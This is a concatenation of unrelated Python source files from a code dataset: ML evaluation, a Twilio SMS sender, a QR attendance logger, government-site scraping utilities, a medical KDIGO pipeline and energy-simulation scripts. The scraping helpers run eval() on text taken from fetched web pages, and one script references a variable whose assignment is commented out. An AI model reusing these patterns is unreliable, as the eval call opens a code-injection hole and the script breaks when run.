in short_label:\n print(\"{}\".format(sl), end=\" \")\n print()\n for j, sl in enumerate(short_label):\n print(sl, end=\" \")\n for i in range(confusion.shape[1]):\n print(\"{:8.1%}\".format(confusion[j][i]), end=\" \")\n print()\n\n print(\"\\n\" + \"*\"*10, \"Predictions\", \"*\"*10, \"\\n\")\n print(\" \" * 11, end=\"\")\n short_label = []\n for _, label in labels:\n l = min(8, len(label))\n short_label.append(\"{:>8}\".format(label[:l]))\n for sl in short_label:\n print(\"{}\".format(sl), end=\" \")\n print()\n for j, sl in enumerate(short_label):\n print(sl, end=\" \")\n for i in range(predict_confusion.shape[1]):\n print(\"{:8.1%}\".format(predict_confusion[j][i]), end=\" \")\n print()\n print()\n for sl in short_label:\n print(sl, end=\" \")\n print()\n for i in range(correct.shape[0]):\n print(\"{:8.2%}\".format(correct[i]), end=\" \")\n\n print(\"\\n\\nAverage accuracy: {:.3%}\\n\".format(float(correct_total) / xy_count))\n\n\ndef main(opts):\n if opts.use_cuda is not None:\n print(\"using CUDA device {}\".format(opts.use_cuda), file=sys.stderr)\n cuda_dev = int(opts.use_cuda)\n else:\n cuda_dev = None\n\n # load the data\n dataset = pr_dataset.PianoRollDataset(os.getcwd() + \"/\" + opts.data_dir, \"labels.csv\", \"val\")\n\n # load the model\n enc = encoder.Encoder(\n dataset.get_y_count(),\n opts.batch_size,\n rnn_size=opts.rnn_size,\n num_rnn_layers=opts.rnn_layers,\n use_cuda=cuda_dev,\n max_w=opts.max_w\n )\n\n if opts.load:\n enc.load_state_dict(torch.load(opts.load))\n if cuda_dev is not None:\n enc = enc.cuda(cuda_dev)\n\n test(enc, dataset, 100, opts.use_cuda)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--rnn_size\", type=int, default=128)\n parser.add_argument(\"--rnn_layers\", type=int, default=3)\n parser.add_argument(\"--data_dir\", default=\"preprocessed\")\n parser.add_argument(\"--max_epochs\", type=int, default=1000)\n parser.add_argument(\"--max_w\", type=int, default=5000)\n parser.add_argument(\"--test\", action=\"store_true\")\n parser.add_argument(\"--batch_size\", type=int, default=1)\n parser.add_argument(\"-m\", \"--model_dir\", default=\"model\")\n parser.add_argument(\"-e\", \"--num_epochs\", type=int, default=5)\n parser.add_argument(\"--num_batch_valid\", type=int, default=1)\n parser.add_argument(\"--beam_size\", type=int, default=5)\n parser.add_argument(\"-s\", \"--seed\", type=int, default=0)\n parser.add_argument(\"-c\", \"--use_cuda\", type=int, default=None)\n parser.add_argument(\"-l\", \"--init_lr\", type=int, default=5)\n parser.add_argument(\"--load\", default=None)\n\n args = parser.parse_args()\n main(args)","sub_path":"baseline_test.py","file_name":"baseline_test.py","file_ext":"py","file_size_in_byte":4668,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"295556017","text":"from twilio.rest import Client\nimport config\n\n# Your Account SID from twilio.com/console\naccount_sid = config.ACCOUNT_SID\n# Your Auth Token from twilio.com/console\nauth_token = config.AUTH_TOKEN\n\ndef sendMessage(recipient, body):\n client = Client(account_sid, auth_token)\n message = client.messages.create(\n to=recipient, \n from_=config.MESSAGE_FROM,\n body=body)\n print (\"Sent to \" + recipient + \": \" + body)\n # print (message.sid)\n\nif __name__ == \"__main__\":\n recipient = \"+14084203598\"\n body = \"THERE IS A DISASTER DUDE\"\n sendMessage(recipient, body)\n","sub_path":"send_sms.py","file_name":"send_sms.py","file_ext":"py","file_size_in_byte":596,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"396881846","text":"# -*- coding: utf-8 -*-\nimport cv2\nimport numpy as np\n# try:\n# from sklearn.externals import joblib\n# except ImportError:\nimport joblib\nimport pandas as pd\nimport os\nimport re\nfrom pyzbar.pyzbar import decode\nimport inout\nfrom csv_process import read_csv, write_csv\n\n\ndef qr_inout_csv(csv_file,stream_size=(320,240), font=cv2.FONT_HERSHEY_SIMPLEX):\n \"\"\"\n grコードを読み込み、その人の入退室データを書き込む\n \"\"\"\n data = read_csv(csv_file)\n cap = cv2.VideoCapture(0)\n while True: \n # 映像データを読み込んでサイズ変更\n rst, stream = cap.read()\n stream = cv2.resize(stream, stream_size)\n \n # streamからqrを検出する\n decoded_objs = decode(stream)\n if decoded_objs != []:\n for obj in decoded_objs:\n print('Type: ', obj)\n str_dec_obj = obj.data.decode('utf-8', 'ignore')\n # 文字列から数値を抽出\n id = int(re.sub(\"\\\\D\",\"\", str_dec_obj))\n # csvにidの人の入退室時間をpandasの形式で書き込む\n inout.inout_to_csv(id, csv_file)\n\n print('QR code: {}'.format(str_dec_obj))\n x, y, w, h = obj.rect\n # qrコードを四角で囲う\n cv2.rectangle(stream, (x,y), (x+w,y+h), (0,0,255), 1)\n # 文字列を表示\n cv2.putText(stream, str_dec_obj,(x,y-10), font, 1, (0,255,0), 3, cv2.LINE_AA)\n\n # 画像をウインドウに表示\n cv2.imshow(\"img\", stream)\n \n # 'q'を入力でアプリケーション終了\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n \n #終了処理\n cap.release()\n cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n now = pd.Timestamp.now()\n today_csv = now.strftime(\"%Y-%m-%d\") + \".csv\"\n base_csv = \"data/train_data_arasi.csv\"\n if os.path.exists(today_csv) == False:\n today_data = read_csv(base_csv)\n write_csv(today_data, today_csv)\n\n qr_inout_csv(today_csv)","sub_path":"inout_system/qr_inout.py","file_name":"qr_inout.py","file_ext":"py","file_size_in_byte":2082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"333569494","text":"import datetime\nimport re\nimport time\nimport redis\nfrom urllib.parse import urlparse, urlencode, parse_qs\n\nimport scrapy\nfrom lxml.etree import HTML\nfrom selenium import webdriver\nfrom selenium.webdriver import ChromeOptions\n\noption = ChromeOptions()\noption.add_experimental_option('excludeSwitches', ['enable-automation'])\n\n\ndef get_cookie(url):\n driver = webdriver.Chrome(options=option)\n driver.get(url)\n time.sleep(3)\n cookies = driver.get_cookies()\n driver.quit()\n items = []\n dict_ = {}\n for i in range(len(cookies)):\n cookie_value = cookies[i]\n item = cookie_value['name'] + '=' + cookie_value['value']\n items.append(item)\n dict_[cookie_value['name']] = cookie_value['value']\n return dict_\n\n\ndef format_doc_no(doc_no: str):\n doc = ''\n if doc_no and len(doc_no) <= 30 and re.findall(r'^[\\u4e00-\\u9fa5]', doc_no):\n doc = doc_no\n return doc\n\n\ndef format_file_type(doc_no: str):\n file_type = ''\n if '〔' in doc_no:\n file_type = obj_first(re.findall('^(.*?)〔', doc_no))\n elif '[' in doc_no:\n file_type = obj_first(re.findall(r'^(.*?)\\[', doc_no))\n elif obj_first(re.findall(r'^(.*?)\\d{4}', doc_no)):\n file_type = obj_first(re.findall(r'^(.*?)\\d{4}', doc_no))\n elif '第' in doc_no:\n file_type = obj_first(re.findall('^(.*?)第', doc_no))\n elif obj_first(re.findall(r'^(.*?)\\d', doc_no)):\n file_type = obj_first(re.findall(r'^(.*?)\\d', doc_no))\n return '' if re.findall(r'^\\d', file_type) else file_type\n\n\ndef time_map(t_str, error=''):\n \"\"\"\n >>>time_map('发布日期:2020年2月18日')\n 2020-02-18\n \"\"\"\n try:\n year, month, day = re.findall(r'(\\d{4})\\D(\\d{1,2})\\D(\\d{1,2})', t_str.strip())[0]\n return '{}-{:0>2}-{:0>2}'.format(year, month, day)\n except:\n return error\n\n\ndef obj_first(obj, error=''):\n return obj[0] if obj else error\n\n\ndef get_html_content(response: scrapy.http.Response, con_xpath: str) -> str:\n \"\"\"\n 返回网页响应中的正文主体html代码\n :param response: 网页响应\n :param con_xpath: 正文的爬取范围 eg:'//*[@id=\"mainText\"]'\n :return: 正文主体html代码\n \"\"\"\n html_content = response.xpath(con_xpath).get()\n html_content = re.sub(r'|\\<\\!--[\\s\\S]*?--\\>|', '', html_content)\n return re.sub(r'<([a-z]+)[\\s\\S]*?>', r'<\\1>', html_content)\n\n\ndef query2dict(url):\n \"\"\"\n >>>url = 'http://www.zjwjw.gov.cn/col/col1202101/index.html?uid=4978845&pageNum=1'\n >>>query2dict(url)\n {'uid': '4978845', 'pageNum': '1'}\n \"\"\"\n return {k: obj_first(v) for k, v in parse_qs(urlparse(url).query).items()}\n\n\ndef parse2query(parse_data=None, url_join='', url_replace=''):\n query = urlencode(parse_data)\n if url_join:\n return url_join + query\n elif url_replace:\n return re.sub(r'\\?.*', '?{}'.format(query), url_replace)\n else:\n return query\n\n\ndef xpath_from_remove(response: scrapy.http.Response or str, xpath_str):\n \"\"\"获取xpath_str部分的页面数据(移除script和style节点的干扰)\"\"\"\n if not response:\n return ''\n elif isinstance(response, str):\n content = HTML(response)\n else:\n content = HTML(response.text)\n for dom in content.xpath('//script'):\n new_content = dom.getparent()\n new_content.remove(dom)\n for dom in content.xpath('//style'):\n new_content = dom.getparent()\n new_content.remove(dom)\n return re.sub(r'\\<\\!--[\\s\\S]*?--\\>', '', content.xpath(xpath_str).strip())\n\n\ndef effective(start, end):\n if not start:\n return ''\n end = time_map(end, error='9999-12-31')\n start = time_map(start, error='1000-01-01')\n now = datetime.datetime.now().strftime('%Y-%m-%d')\n if now < start:\n return '尚未生效'\n elif start <= now < end:\n return '现行有效'\n else:\n return '失效'\n\n\ndef find_effective_start(content, publish_time):\n return time_map(obj_first(re.findall(r'[自从]\\d{4}\\D\\d{1,2}\\D\\d{1,2}\\D{0,5}(?:实施|施行)', content)), error=publish_time)\n\n\nclass PageHTMLControl:\n \"\"\"\n 翻页器: pageControl(4, 2, \"index\", \"shtml\", 10, 'pages-nav');\n http://www.hubei.gov.cn/zhuanti/2020/gzxxgzbd/zy/index_2.shtml\n \"\"\"\n def __init__(self, response: str, re_str='createPageHTML(.*?);', count=False):\n # createPageHTML(89, 1,\"index\", \"shtml\", \"black2\",621);\n self.find = re.findall(r'{}'.format(re_str), response)\n try:\n if count:\n self.total, self.count, self.now, self.default, self.type, *_ = eval(self.find[0])\n else:\n self.total, self.now, self.default, self.type, *_ = eval(self.find[0])\n except:\n self.total = self.now = self.default = self.type = None\n\n def next_page(self, url):\n if not self.find:\n return None\n elif self.total - 1 > self.now:\n base_url = url.split('/')\n base_url[-1] = '{}_{}.{}'.format(self.default, self.now + 1, self.type)\n return '/'.join(base_url)\n else:\n return None\n\n\nclass PageFormControl:\n \"\"\"\n
\n \n \n \n \n \n
\n \"\"\"\n def __init__(self, response):\n self.find = response.xpath('//*[@id=\"pageForm\"]/input')\n self.base_url = response.xpath('//*[@id=\"pageForm\"]/@action').extract_first()\n self.form_data = {}\n for item in self.find:\n name = item.xpath('./@name').extract_first()\n value = item.xpath('./@value').extract_first()\n self.form_data[name] = value\n msg = response.xpath('//div[@class=\"control\"]/span/text()').extract_first()\n if msg:\n self.end, self.now = re.findall(r'(\\d+)页', msg)\n else:\n self.end = self.now = None\n\n def next_page(self):\n if self.end == self.now:\n return None\n else:\n self.form_data[\"pageNum\"] = str(int(self.form_data[\"pageNum\"]) + 1)\n return {'url': self.base_url, 'data': self.form_data}\n\n\nclass GovBeiJingPageControl:\n \"\"\"\n 翻页器: Pager({size:266, current:0, prefix:'index',suffix:'html'});\n http://www.beijing.gov.cn/zhengce/zhengcefagui/index_1.html\n \"\"\"\n def __init__(self, response):\n try:\n self.find = re.findall(r'Pager\\(\\{.*?\\}\\)\\;', response)[0]\n self.total = int(re.findall(r'size\\:(\\d+)', self.find)[0])\n self.now = int(re.findall(r'current\\:(\\d+)', self.find)[0])\n self.default = re.findall(r'prefix\\:\\'(.*?)\\'', self.find)[0]\n self.type = re.findall(r'suffix\\:\\'(.*?)\\'', self.find)[0]\n except:\n self.find = self.total = self.now = self.default = self.type = None\n\n def next_page(self, url):\n if not self.find:\n return None\n elif self.total - 1 > self.now:\n base_url = url.split('/')\n base_url[-1] = '{}_{}.{}'.format(self.default, self.now + 1, self.type)\n return '/'.join(base_url)\n else:\n return None\n\n\nclass GovSiChuangPageHTMLControl:\n \"\"\"\n 翻页器:\n {createPageHTML('page_div',15, 1,'list_ft','shtml',450);}\n pageControl(4, 2, \"index\", \"shtml\", 10, 'pages-nav');\n http://www.sc.gov.cn/10462/10464/10684/12419/list_ft.shtml\n \"\"\"\n def __init__(self, response: str, re_str='createPageHTML(.*?);', count=False):\n # createPageHTML(89, 1,\"index\", \"shtml\", \"black2\",621);\n self.find = re.findall(r'{}'.format(re_str), response)\n try:\n if count:\n self.total, self.count, self.now, self.default, self.type, *_ = eval(self.find[0])\n else:\n _, self.total, self.now, self.default, self.type, *_ = eval(self.find[0])\n except:\n self.total = self.now = self.default = self.type = None\n\n def next_page(self, url):\n if not self.find:\n return None\n elif self.total - 1 >= self.now:\n base_url = url.split('/')\n base_url[-1] = '{}_{}.{}'.format(self.default, self.now + 1, self.type)\n return '/'.join(base_url)\n else:\n return None\n\n\nclass RedisConnect:\n def __init__(self):\n pool = redis.ConnectionPool(host='127.0.0.1', port=6379, db=0)\n self.conn = redis.StrictRedis(connection_pool=pool)\n\n\nclass TimeShow:\n @staticmethod\n def to_second(time_str):\n second = 0\n try:\n m, s = time_str.split(':')\n second = int(m) * 60 + int(s)\n except:\n pass\n return second\n\n @staticmethod\n def to_min_second(time_str):\n min_second = '0'\n try:\n time_str = int(time_str)\n m = time_str // 60\n s = time_str % 60\n min_second = '{:0>2}:{:0>2}'.format(m, s)\n except:\n pass\n return min_second\n\n def median(self, time_list):\n time_median = sorted(self.to_second(i) for i in time_list)\n return self.to_min_second(time_median[1])\n\n\nif __name__ == '__main__':\n # ts = TimeShow()\n # print(ts.median(['00:30', '10:21', '01:51']))\n # print(find_effective_start('政策从2020年10月111日起正式施行', '2020-10-11'))\n print(format_file_type('2014国办函2020第34号'))","sub_path":"policy_business/policy_business/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":9857,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"383366770","text":"import json\nimport time\nimport logging\nimport collections\n\nMAX_RETRIES = 30\nRETRY_WAIT = 0.1\n\ndef wait_until_zone_exists(vinyldns_client, zone_id):\n \"\"\"\n Waits until the zone exists\n \"\"\"\n zone = vinyldns_client.get_zone(zone_id)\n retries = MAX_RETRIES\n while (zone is None) and retries > 0:\n zone = vinyldns_client.get_zone(zone_id)\n time.sleep(RETRY_WAIT)\n retries -= 1\n\n if zone is None:\n print(\"Issue on zone create: {}\".format(json.dumps(zone)))\n\n assert zone is not None\n\n\ndef wait_until_zone_deleted(vinyldns_client, zone_id):\n \"\"\"\n Waits until the zone no longer exists\n \"\"\"\n zone = vinyldns_client.get_zone(zone_id)\n retries = MAX_RETRIES\n while (zone is not None) and retries > 0:\n zone = vinyldns_client.get_zone(zone_id)\n time.sleep(RETRY_WAIT)\n retries -= 1\n\n if zone is not None:\n print(\"Zone was not deleted: {}\".format(json.dumps(zone)))\n\n assert zone is None\n","sub_path":"func_tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":979,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"295233206","text":"import kdigo_funcs as kf\r\nimport numpy as np\r\nimport datetime\r\nimport os\r\n\r\n#------------------------------- PARAMETERS ----------------------------------#\r\nbasePath = \"/Users/taylorsmith/Google Drive/Documents/Work/Workspace/Kidney Pathology/KDIGO_eGFR_traj/\"\r\nt_analyze = 'ICU'\r\nxl_file = \"KDIGO_test.xlsx\"\r\ntimescale = 6 #in hours\r\nid_ref = 'all_ids.csv'#default is all\r\n\r\n#-----------------------------------------------------------------------------#\r\n\r\nsort_id = 'STUDY_PATIENT_ID'\r\nsort_id_date = 'SCR_ENTERED'\r\ndataPath = basePath + \"DATA/\"\r\noutPath = dataPath + t_analyze.lower() + '/'\r\nresPath = basePath + 'RESULTS/' + t_analyze.lower() + '/'\r\ninFile = dataPath + xl_file\r\nid_ref = outPath + id_ref\r\n\r\ndef main():\r\n if not os.path.exists(outPath):\r\n os.makedirs(outPath)\r\n if not os.path.exists(resPath):\r\n os.makedirs(resPath)\r\n\r\n #Try to load previously extracted data\r\n try:\r\n ids = np.loadtxt(id_ref,dtype=int)\r\n #try to load final KDIGO values\r\n try:\r\n _,kdigo = kf.load_csv(outPath+'kdigo.csv',ids)\r\n print('Loaded previously extracted KDIGO vectors')\r\n #try to load extracted raw data\r\n except:\r\n _,scr = kf.load_csv(outPath+'scr_raw.csv',ids)\r\n _,dates = kf.load_csv(outPath+'dates.csv',ids,fmt=datetime.datetime)\r\n _,masks = kf.load_csv(outPath+'masks.csv',ids,fmt='%d')\r\n _,dmasks = kf.load_csv(outPath+'dialysis.csv',ids,fmt='%d')\r\n _,baselines = kf.load_csv(outPath+'baselines.csv',ids)\r\n print('Loaded previously extracted raw data')\r\n\r\n #Interpolate missing values\r\n print('Interpolating missing values')\r\n interpo_log = open(outPath+'interpo_log.txt','w')\r\n post_interpo,dmasks_interp=kf.linear_interpo(scr,ids,dates,masks,dmasks,timescale,interpo_log)\r\n kf.arr2csv(outPath+'scr_interp.csv',post_interpo,ids)\r\n kf.arr2csv(outPath+'dmasks_interp.csv',dmasks_interp,ids,fmt='%d')\r\n interpo_log.close()\r\n print('Converting to KDIGO')\r\n #Convert SCr to KDIGO\r\n kdigo = kf.scr2kdigo(post_interpo,baselines,dmasks_interp)\r\n kf.arr2csv(outPath+'kdigo.csv',kdigo,ids)\r\n #If data loading unsuccesful start from scratch\r\n except:\r\n ############ Get Indices for All Used Values ################\r\n print('Loading encounter info...')\r\n #Get IDs and find indices of all used metrics\r\n date_m = kf.get_mat(inFile,'ADMISSION_INDX',[sort_id])\r\n id_loc=date_m.columns.get_loc(\"STUDY_PATIENT_ID\")\r\n hosp_locs=[date_m.columns.get_loc(\"HOSP_ADMIT_DATE\"),date_m.columns.get_loc(\"HOSP_DISCHARGE_DATE\")]\r\n icu_locs=[date_m.columns.get_loc(\"ICU_ADMIT_DATE\"),date_m.columns.get_loc(\"ICU_DISCHARGE_DATE\")]\r\n adisp_loc = date_m.columns.get_loc('DISCHARGE_DISPOSITION')\r\n date_m=date_m.as_matrix()\r\n\r\n ### GET SURGERY SHEET AND LOCATION\r\n print('Loading surgery information...')\r\n surg_m = kf.get_mat(inFile,'SURGERY_INDX',[sort_id])\r\n surg_loc = surg_m.columns.get_loc(\"SURGERY_CATEGORY\")\r\n surg_des_loc = surg_m.columns.get_loc(\"SURGERY_DESCRIPTION\")\r\n surg_m = surg_m.as_matrix()\r\n\r\n ### GET DIAGNOSIS SHEET AND LOCATION\r\n print('Loading diagnosis information...')\r\n dx_m = kf.get_mat(inFile,'DIAGNOSIS',[sort_id])\r\n dx_loc = dx_m.columns.get_loc(\"DIAGNOSIS_DESC\")\r\n dx_m = dx_m.as_matrix()\r\n\r\n print('Loading ESRD status...')\r\n #ESRD status\r\n esrd_m = kf.get_mat(inFile,'ESRD_STATUS',[sort_id])\r\n esrd_locs = [esrd_m.columns.get_loc(\"AT_ADMISSION_INDICATOR\"),esrd_m.columns.get_loc(\"DURING_INDEXED_INDICATOR\"),esrd_m.columns.get_loc(\"BEFORE_INDEXED_INDICATOR\")]\r\n esrd_m = esrd_m.as_matrix()\r\n\r\n #Dialysis dates\r\n print('Loading dialysis dates...')\r\n dia_m = kf.get_mat(inFile,'RENAL_REPLACE_THERAPY',[sort_id])\r\n crrt_locs = [dia_m.columns.get_loc('CRRT_START_DATE'),dia_m.columns.get_loc('CRRT_STOP_DATE')]\r\n hd_locs = [dia_m.columns.get_loc('HD_START_DATE'),dia_m.columns.get_loc('HD_STOP_DATE')]\r\n pd_locs = [dia_m.columns.get_loc('PD_START_DATE'),dia_m.columns.get_loc('PD_STOP_DATE')]\r\n dia_m = dia_m.as_matrix()\r\n\r\n #All SCR\r\n print('Loading SCr values (may take a while)...')\r\n scr_all_m = kf.get_mat(inFile,'SCR_ALL_VALUES',[sort_id,sort_id_date])\r\n scr_date_loc = scr_all_m.columns.get_loc('SCR_ENTERED')\r\n scr_val_loc = scr_all_m.columns.get_loc('SCR_VALUE')\r\n scr_all_m = scr_all_m.as_matrix()\r\n\r\n #Baselines\r\n print('Loading baselines...')\r\n bsln_m = kf.get_mat(inFile,'BASELINE_SCR',[sort_id])\r\n bsln_scr_loc = bsln_m.columns.get_loc('BASELINE_VALUE')\r\n bsln_date_loc = bsln_m.columns.get_loc('BASELINE_DATE')\r\n bsln_m = bsln_m.as_matrix()\r\n\r\n #Demographics\r\n print('Loading demographics...')\r\n dem_m = kf.get_mat(inFile,'DEMOGRAPHICS_INDX',[sort_id])\r\n sex_loc = dem_m.columns.get_loc('GENDER')\r\n eth_loc = dem_m.columns.get_loc('RACE')\r\n dem_m = dem_m.as_matrix()\r\n\r\n #DOB\r\n print('Loading birthdates...')\r\n dob_m = kf.get_mat(inFile,'DOB',[sort_id])\r\n birth_loc = dob_m.columns.get_loc(\"DOB\")\r\n dob_m = dob_m.as_matrix()\r\n ###### Get masks for ESRD, dialysis, etc.\r\n\r\n #Get mask inidicating which points are during dialysis\r\n dia_mask=kf.get_dialysis_mask(scr_all_m,scr_date_loc,dia_m,crrt_locs,hd_locs,pd_locs)\r\n\r\n #Get mask indicating whether each point was in hospital or ICU\r\n t_mask=kf.get_t_mask(scr_all_m,scr_date_loc,scr_val_loc,date_m,hosp_locs,icu_locs)\r\n\r\n #Get mask for all patients with ESRD\r\n #esrd_mask=kf.get_esrd_mask(scr_all_m,id_loc,esrd_m,esrd_locs)\r\n\r\n #Get mask for the desired data\r\n mask=np.zeros(len(scr_all_m))\r\n for i in range(len(scr_all_m)):\r\n if t_analyze == 'ICU':\r\n if t_mask[i] == 2:\r\n if dia_mask[i]:\r\n mask[i]=-1\r\n else:\r\n mask[i]=1\r\n elif t_analyze == 'HOSP':\r\n if t_mask[i] >= 1:\r\n if dia_mask[i]:\r\n mask[i]=-1\r\n else:\r\n mask[i]=1\r\n\r\n count_log = open(outPath+'record_counts.csv','w')\r\n #Extract patients into separate list elements\r\n ids,scr,dates,masks,dmasks,baselines,bsln_gfr,d_disp = kf.get_patients(scr_all_m,scr_val_loc,scr_date_loc,adisp_loc,\\\r\n mask,dia_mask,\\\r\n dx_m,dx_loc,\\\r\n esrd_m,esrd_locs,\\\r\n bsln_m,bsln_scr_loc,bsln_date_loc,\\\r\n date_m,id_loc,icu_locs,\\\r\n surg_m,surg_loc,surg_des_loc,\\\r\n dem_m,sex_loc,eth_loc,\\\r\n dob_m,birth_loc,count_log)\r\n count_log.close()\r\n kf.arr2csv(outPath+'scr_raw.csv',scr,ids)\r\n kf.str2csv(outPath+'dates.csv',dates,ids)\r\n kf.arr2csv(outPath+'masks.csv',masks,ids,fmt='%d')\r\n kf.arr2csv(outPath+'dialysis.csv',dmasks,ids,fmt='%d')\r\n kf.arr2csv(outPath+'baselines.csv',baselines,ids)\r\n kf.arr2csv(outPath+'baseline_gfr.csv',bsln_gfr,ids)\r\n kf.str2csv(outPath+'disch_disp.csv',d_disp,ids)\r\n np.savetxt(id_ref,ids,fmt='%d')\r\n\r\n #Interpolate missing values\r\n print('Interpolating missing values')\r\n interpo_log = open(outPath+'interpo_log.txt','w')\r\n post_interpo,dmasks_interp=kf.linear_interpo(scr,ids,dates,masks,dmasks,timescale,interpo_log)\r\n kf.arr2csv(outPath+'scr_interp.csv',post_interpo,ids)\r\n kf.arr2csv(outPath+'dmasks_interp.csv',dmasks_interp,ids,fmt='%d')\r\n interpo_log.close()\r\n\r\n #Convert SCr to KDIGO\r\n print('Converting to KDIGO')\r\n kdigo = kf.scr2kdigo(post_interpo,baselines,dmasks_interp)\r\n kf.arr2csv(outPath+'kdigo.csv',kdigo,ids)\r\n\r\n #Get KDIGO Distance Matrix\r\n kf.pairwise_dtw_dist(kdigo,ids,resPath+'kdigo_dm.csv',resPath+'kdigo_dtwlog.csv')\r\n\r\nmain()","sub_path":"main_kdigo.py","file_name":"main_kdigo.py","file_ext":"py","file_size_in_byte":8574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"382821810","text":"# Definition for singly-linked list.\n# class ListNode:\n# def __init__(self, x):\n# self.val = x\n# self.next = None\n\nclass Solution:\n # @param head, a ListNode\n # @param k, an integer\n # @return a ListNode\n def reverseKGroup(self, head, k):\n if not head: return None\n newhead = ListNode(0)\n newhead.next = head\n start = newhead\n while start.next:\n end = start\n for i in range(k):\n end = end.next\n if not end: return newhead.next\n \n [left, right] = self.reverse(start, end)\n start.next = left\n start = right\n return newhead.next \n def reverse(self, start, end):\n head = start.next\n while start.next != end:\n temp = head.next\n head.next = temp.next\n temp.next = start.next\n start.next = temp\n \n \n return [start.next,head]# not [start.next, end], because end is now in the front of list","sub_path":"lc/LC3/15 +Reverse Nodes in k-Group.py","file_name":"15 +Reverse Nodes in k-Group.py","file_ext":"py","file_size_in_byte":1043,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"513246234","text":"from src.bayes import Bayes\n\n\ndef die_likelihood(roll, die):\n \"\"\" \n Args:\n roll (int): result of a single die roll\n die (int): number of sides of the die that produced the roll\n \n Returns:\n likelihood (float): the probability of the roll given the die.\n \"\"\"\n \n if roll in range(1,die+1): \n return 1/die\n else:\n return 0\n\n\nif __name__ == '__main__':\n prior_1 = {4:1/5,6:1/5,8:1/5,12:1/5,20:1/5} ## balanced\n prior_2 = {4:.08,6:.12,8:.16,12:.24,20:.4} ## unbalanced\n die_bayes_1 = Bayes(prior_1.copy(), die_likelihood)\n die_bayes_2 = Bayes(prior_2.copy(), die_likelihood) \n # ... you take it from here ... \n data =[8,2,1,2,5,8,2,4,3,7,6,5,1,6,2,5,8,8,5,3,4,2,4,3,8,8,7,8,8,8,5,5,1,3,8,7,8,5,2,5,1,4,1,2,1,3,1,3,1,5] #[10, 10, 10, 10, 8, 8] #\n for d in data:\n die_bayes_1.update(d)\n die_bayes_2.update(d)\n \n print('Data: ',data)\n print('\\nBalanced: ',prior_1)\n die_bayes_1.print_distribution()\n die_bayes_1.plot()\n print('\\nUnbalanced: ',prior_2)\n die_bayes_2.print_distribution()","sub_path":"bayes-intro-ASSIGNMENT/src/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":1097,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"58"} +{"seq_id":"350439831","text":"\"\"\"\nCreated on Thu Jan 19 18:25:27 2019\n\n@author: jonathanroth\n\"\"\"\n\nimport numpy as np\nimport pickle\nimport pandas as pd\nimport os\nimport timeit\nimport re\nimport matplotlib.pyplot as plt\nfrom ubem_simulation_pso import UBEM_Simulator, get_simulation_errors, scale_all_doe_datasets, plot_2x2_hourly_load, \\\n create_hourly_load, create_one_building_timeseries, plot_all_hourly_loads\n\n\ndef create_all_buildings(ubem, training_hours, sim_num=65):\n a_rand, buildings = ubem.create_a_rand(sim_ind=sim_num).values()\n amx = ubem.create_amx(a_rand=a_rand, training_hours=training_hours)\n prepared_buildings = ubem.create_prepared_buildings(amx=amx,\n a_rand=a_rand,\n buildings=buildings,\n training_hours=training_hours,\n sim_ind=sim_num)\n print('Finished creating prepared_buildings...')\n return prepared_buildings\n\n\ndef calculate_error(betas, Ec, prepared_buildings, sim_num=65):\n beta = betas[sim_num-15, :]\n num_buildings = prepared_buildings.shape[0]\n modeling_hours = prepared_buildings.shape[2]\n\n # Optimization prediction\n Eaj_hat = np.array([prepared_buildings[j, :, :].T * beta for j in range(num_buildings)])\n Ea_hat = np.sum(Eaj_hat, axis=2)\n Ea_hat = np.sum(Ea_hat, axis=0).reshape(modeling_hours, )\n\n error = np.abs(Ea_hat - Ec[:modeling_hours]) / (Ec[:modeling_hours]) * 100\n return np.mean(error)\n\n\ndef out_of_sample_errors(ubem, betas, Ec, training_hours):\n error_vec = []\n start = timeit.default_timer()\n for sim_num in np.arange(15, 515):\n prepared_buildings = create_all_buildings(ubem, training_hours, sim_num=sim_num)\n error = calculate_error(betas, Ec, prepared_buildings, sim_num=sim_num)\n end = timeit.default_timer()\n\n print('sim_num: ', sim_num, ' | Error: ', error, ' | Time: ', start-end)\n error_vec.append(error)\n\n return error_vec\n\n\nif __name__ == '__main__':\n starting_hour = 1000\n total_hours = 1000\n\n ubem = UBEM_Simulator(sample_buildings=1000, modeling_hours=total_hours) # 6148\n # Extract simulations and data\n list_of_simulations = [pickle.load(open(os.getcwd() + '/Data/test005_1000_1000_50_' + str(15 + num*50) + '.obj', 'rb'))\n for num in np.arange(10)]\n\n betas = np.array([sim[1] for simulations in list_of_simulations for sim in simulations])\n indices = np.array([sim[1] for simulations in list_of_simulations for sim in simulations])\n training_hours = np.arange(starting_hour, starting_hour+total_hours)\n Ec = np.reshape(ubem.city_electricity_scaled[training_hours], (ubem.modeling_hours,))\n all_errors = get_simulation_errors() # UNORDERED!\n\n # CHECK ERRORS: OUT-OF-SAMPLE\n # all_errors = np.array(all_errors).flatten()\n # prepared_buildings = create_all_buildings(ubem, training_hours, sim_num=77)\n # error = calculate_error(betas, Ec, prepared_buildings, sim_num=77)\n # print(error)\n\n # RUN 500 TIMES: OUT-OF-SAMPLE ERROR FOR CONVX. SIMULATION\n # error_vec = out_of_sample_errors(ubem, betas, Ec, training_hours)\n # print(np.mean(error_vec))\n pickle.dump(error_vec, open(os.getcwd() + '/Data/of_of_sample_1000hrs.obj', 'wb'))\n\n\n # PLOT ONE BUILDING, ALL ENERGY CURVES\n ubem2 = UBEM_Simulator(sample_buildings=1000, modeling_hours=8784) # 6148\n doe_list = np.array(scale_all_doe_datasets(calculate=False))\n all_buildings = [create_one_building_timeseries(ubem, betas, '1012970023', doe_list, 